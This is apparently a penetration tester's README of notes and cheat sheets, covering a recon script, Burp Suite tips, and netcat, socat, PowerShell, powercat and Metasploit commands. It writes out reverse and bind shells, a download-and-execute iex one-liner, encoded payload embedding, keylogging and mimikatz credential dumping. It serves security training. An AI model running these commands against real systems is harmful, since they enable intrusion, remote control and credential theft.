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README.md

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README.md

Tools

Index

EasyG

Old GIF but still cool

EasyG is a script that I use to automate some information gathering tasks for my hacking process.

Tools used and what the script does

[firefox] open every entry in <file_input> with firefox

[gettoburp] for every entry in <file_input> send a GET request using as a proxy 127.0.0.1:8080. This is useful for adding entries from a file to Burp Suite.

[assetenum] During this process, many tools are implemented to discover subdomains. Then, there is the process of discovering ports and possibly discovering technologies, misconfigurations and vulnerabilities for these assets discovered.

[webscreenshot] take a screenshot for every entry in <file_input> and make a gallery

[crawl-burp] crawl for every entry in <file_input> and pass the results to Burp Suite

[crawl-local] Crawl for every entry in <file_input> and save the results in local. Optionally, scan for vulnerabilities

[find-vulns] Given a <file_input> containing URLs, scan for vunlerabilities (API Keys, Secrets, BLH, XSS, LFI)

[do-everything] Asset enumeration > Crawl Locally > Scan for vunlerabilities (API Keys, Secrets, BLH, XSS, LFI)

Burp Suite

  • Advanced Scope regular expressions 
    ^(.*\.)?test\.com$            add a domain + subdomains
^fd\d+-sub\.test\.com$        to capture domains like "fd1-sub.test.com", "fd2-sub.test.com", and so on
  • To add a new header 
    1. Go to Proxy -> Options -> Match and Replace -> Add
2. Change Type to Request Header
3. As the default text says in Match 'leave blank to add a new header'
4. Put the new header in Replace
  • Analyze better the results from Intruder with Settings > "Grep - Extract"
    • Manually select in the response the value that you want to track in a new column in the results
  • To fix visual glitches

Cool extensions

Browser extensions

Netcat

Misc Commands

nc -nv <IP> <port>                                                       Connect to a TCP port
nc -nlvp <port>                                                          Set up a listener
nc -nv <IP> <port>                                                       Connect to a listener
nc -nlvp <port> > incoming.exe                                           Receive a file
nc -nv <IP> <port> < /usr/share/windows-resources/binaries/wget.exe      Transfer a file
nc -nlvp <port> -e cmd.exe                                               Set up a bind shell
nc -nv <IP> <port> -e /bin/bash                                          Send a reverse shell

Port Scanning

nc -nvv -w 1 -z <IP> <PORT-RANGE>                        Use netcat to perform a TCP port scan
nc -nv -u -z -w 1 <IP> <PORT-RANGE>                      Use netcat to perform an UDP port scan

Socat

Misc Commands

socat - TCP4:<remote server's ip address>:80                                    Connect to a remote server on port 80
socat TCP4-LISTEN:<PORT> STDOUT                                                 Create a listener
socat -d -d TCP4-LISTEN:<PORT> STDOUT                                           Create a listener, -d -d for more verbosity
socat TCP4-LISTEN:<PORT>,fork file:secret.txt                                   Transfer a file
socat TCP4:<IP>:<PORT> file:received_secret.txt,create                          Receive a file
socat TCP4:<IP>:<PORT> EXEC:/bin/bash                                           Send a reverse shell
socat OPENSSL-LISTEN:<PORT>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash    Create an encrypted bind shell
socat - OPENSSL:<IP>:<PORT>,verify=0                                            Connect to an encrypted bind shell

Reverse Shell

socat -d -d TCP4-LISTEN:<PORT> STDOUT                                     User 1, create a listener
socat TCP4:<IP>:<PORT> EXEC:/bin/bash                                     User 2, send reverse shell to User 1

Encrypted bind shell with OpenSSL

$ openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 365 -out bind_shell.crt

  req: initiate a new certificate signing request
  -newkey: generate a new private key
  rsa:2048: use RSA encryption with a 2,048-bit key length.
  -nodes: store the private key without passphrase protection
  -keyout: save the key to a file
  -x509: output a self-signed certificate instead of a certificate request
  -days: set validity period in days
  -out: save the certificate to a file

$ cat bind_shell.key bind_shell.crt > bind_shell.pem
$ sudo socat OPENSSL-LISTEN:<PORT>,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash    Create an encrypted bind shell
$ socat - OPENSSL:<IP>:<PORT>,verify=0                                                 Connect to the encrypted bind shell

PowerShell

Misc Commands

Set-ExecutionPolicy Unrestricted                                                                        Set the PowerShell execution policy
Get-ExecutionPolicy                                                                                     Get value for ExecutionPolicy
(new-object System.Net.WebClient).DownloadFile('http://<IP>/<filename>','C:\<DIR>\<filename>')          Download a file
iwr -uri http://<IP>/<filename> -Outfile <filename>                                                     Download a file
powershell -c "command"                                                                                 The -c option will execute the supplied command as if it were typed at the PowerShell prompt

Encode PowerShell from the command line

  • echo "iex(cmd)" | iconv -t UTF-16LE | base64 -w 0 | xclip -sel clip

Send a reverse shell with PowerShell

  • powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  • $client = New-Object System.Net.Sockets.TCPClient('<IP>',<PORT>);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
	$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
	$sendback = (iex $data 2>&1 | Out-String );
	$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
	$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
	$stream.Write($sendbyte,0,$sendbyte.Length);
	$stream.Flush();
}
$client.Close();

Set up a bind shell with PowerShell

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeNameSystem.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

Powercat

Script: powercat.ps1.

powercat -c <IP> -p <PORT> -i C:\<DIR>\powercat.ps1                     Send a file
powercat -c <IP> -p <PORT> -e cmd.exe                                   Send a reverse shell
powercat -l -p 443 -e cmd.exe                                           Set up a bind shell; -l option to create a listener, -p to specify the listening port number, -e to have an application executed once connected
powercat -c <IP> -p <PORT> -e cmd.exe -g > reverseshell.ps1             Create a stand-alone payload
powercat -c <IP> -p <PORT> -e cmd.exe -ge > encodedreverseshell.ps1     Create an encoded stand-alone payload with powercat

Load a remote PowerShell script using iex

iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Execute an encoded stand-alone payload using PowerShell

powershell.exe -E ZgB1AG4AYwB0AGkAbwBuACAAUwB0AHIAZQBhAG0AMQBfAFMAZQB0AHUAcAAKAHsACgAKACAAIAAgACAAcABhAHI...

Upload a file to an FTP server

$ftpRequest = [System.Net.FtpWebRequest]::Create("ftp://<IP>:<PORT>/<FILE_TO_UPLOAD>"); $ftpRequest.Credentials = New-Object System.Net.NetworkCredential("<USERNAME>", "<PASSWORD>"); $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile; $fileContents = [System.IO.File]::ReadAllBytes((Resolve-Path "<FILE_TO_UPLOAD>")); $ftpRequest.ContentLength = $fileContents.Length; $requestStream = $ftpRequest.GetRequestStream(); $requestStream.Write($fileContents, 0, $fileContents.Length); $requestStream.Close(); $response = $ftpRequest.GetResponse(); $response.Close()
  • Change <IP>, <PORT>, <FILE_TO_UPLOAD>, <USERNAME>, <PASSWORD>

WireShark

Filters

  • net 10.10.1.0/24, capture traffic only on the 10.10.1.0/24 address range

Display filters

  • tcp.port == 21, only display FTP data

Misc operations

Tcpdump

tcpdump -r packets.pcap                                                           Read packet capture
tcpdump -n -r packets.pcap | awk -F" " '{print $3}' | sort | uniq -c | head       Read and filter the packet capture;
                                                                                  -n option to skip DNS name lookups, -r to read from our packet capture file
                                                                                  awk to print the destination IP address and port, sort and uniq -c to sort and count the number of times the field appears in the capture, respectively, head to only display the first 10 lines of the output
tcpdump -n src host <IP> -r packets.pcap                                          Tcpdump filters; src host to output only source traffic
tcpdump -n dst host <IP> -r packets.pcap                                          Tcpdump filters; dst host to output only destination traffic
tcpdump -n port <PORT> -r packets.pcap                                            Tcpdump filters; filter by port number
tcpdump -nX -r packets.pcap                                                       -X to print packet data in both HEX and ASCII format

Advanced Header Filtering: display only the data packets

  1. Look for packets that have the PSH and ACK flags turned on
    • The ACK flag will be set for all packets sent and received after the initial 3-way handshake
    • In interactive Application Layer protocols, the PSH flag is frequently used to guarantee rapid delivery of a packet and prevent buffering.
  2. TCP flags are defined starting from the 14th byte
    • ACK and PSH are represented by the fourth and fifth bits of the 14th byte
    • Turning on these bits would result in 00011000 = 24 in decimal, verify it with echo "$((2#00011000))"
  3. To display packets that have the ACK or PSH flags set: sudo tcpdump -A -n 'tcp[13] = 24' -r packets.pcap

Bash scripting

  • Grep all the subdomains for target.com from index.html: grep -o '[^/]*\.target\.com' index.html | sort -u > list.txt
  • Get the IPs from list.txt: for url in $(cat list.txt); do host $url; done | grep "has address" | cut -d " " -f 4 | sort -u

Metasploit Framework

See: The Metasploit Framework

Starting Metasploit

sudo systemctl start postgresql                                start postgresql manually
sudo systemctl enable postgresql                               start postgresql at boot
sudo msfdb init                                                create the Metasploit database
sudo apt update; sudo apt install metasploit-framework         update the Metasploit Framework
sudo msfconsole -q                                             start the Metasploit Framework

MSF Syntax

show -h                                  help flag
show auxiliary                           list all auxiliary modules
search type:auxiliary name:smb           search for SMB auxiliary modules
back                                     move out of the current context and return to the main msf5 prompt
previous                                 switch us back to the previously selected module
services                                 display the metasploit database logs; -p: filter by port number; -s: service name; -h: help command
hosts                                    show discovered hosts
db_nmap <IP> -A -Pn                      performing a Nmap scan from within Metasploit
workspace                                list workspaces; -a: add a workspace, -d: delete a workspace
sessions -l                              list all sessions; -i: to interact with a session
transport list                           list the currently available transports for the meterpreter connection

To interact with a module

  • info request more info about the module
  • show options most modules require options
  • Use set and unset to configure the options
  • Use setg and unsetg to configure global options
  • show payloads list all payloads that are compatible with the current exploit module
  • check check if the target is vulnerable
  • run or exploit to run the exploit
    • -j use as background job
    • jobs list background jobs
    • kill kill job

Exploit Modules

Staged vs Non-Staged Payloads

  • windows/shell_reverse_tcp - Connect back to attacker and spawn a command shell
  • windows/shell/reverse_tcp - Connect back to attacker, Spawn cmd shell (staged)
    • Useful, for example, if the vulnerability you need to exploit doesn't have enough buffer space to hold a full payload

Meterpreter

  • upload /usr/share/windows-resources/binaries/nc.exe c:\\Users\\tidus
  • download c:\\Windows\\system32\\calc.exe /tmp/calc.exe
  • shell get the shell

Other notes

  • generate -f exe -e x86/shikata_ga_nai -i 9 -x /usr/share/windows-resources/binaries/plink.exe -o shell_reverse_msf_encoded_embedded.exe embedding the payload in plink.exe from within msfconsole
  • Use the framework multi/handler to catch standard reverse shells
    • Works for all single and multi-stage payloads
    • Specify the incoming payload type

Post-Exploitation

screenshot                take a screenshot of the compromised host desktop
keyscan_start             start the keystroke sniffer
keyscan_dump              dump captured keystrokes
keyscan_stop              stop the keystroke sniffer

Migrate your meterpreter process

  • ps view all running processes and then pick one
  • migrate <PID> migrate the process to a target PID

Use mimikatz from meterpreter

  • load kiwi run the extension kiwi
  • getsystem acquire SYSTEM privileges
  • creds_msv dump the system credentials

Port forwarding

  • meterpreter> portfwd -h
    • Example portfwd add -l 3389 -p 3389 -r 192.168.1.121

Others

For a temporary server

  • python -m SimpleHTTPServer 7331
  • python3 -m http.server 7331
  • php -S 0.0.0.0:8000
  • ruby -run -e httpd . -p 9000
  • busybox httpd -f -p 10000

For a temporary public server

For a temporary FTP server

  • Host: python -m pyftpdlib -w
  • Client: 
    ftp
open <IP> 2121
anonymous

For auths

To find parameters

Asset enumeration/discovery

  • amass
    • amass enum -brute -active -d target -o output/target.txt -v
  • subfinder
    • subfinder -d target -all -o output/target_subfinder.txt"
  • github-subdomains
  • bgp.he.net to find ASN + amass intel -asn <ASN>
  • crt.sh
    • Crtsh-Fetcher
    • To find new domains cat json.txt | jq -r '.[].common_name' | sed 's/\*//g' | sort -u | rev | cut -d "." -f 1,2 | rev | sort -u | tee out.txt
  • gobuster + all.txt by jhaddix
  • dnsx
    • Reverse DNS lookup cat ip.txt | dnsx -ptr -resp-only
  • VhostScan to discover virtual hosts
  • gip a command-line tool and Rust library to check global IP address.
  • anew to add only new subdomains
  • httpx
    • type scope.txt | httpx -sc -mc 404 find 404 pages
  • urless
  • hakcheckurl
    • python3 urless.py -i urls.txt | hakcheckurl | grep -v 404

Exploits

For Reporting

Misc tools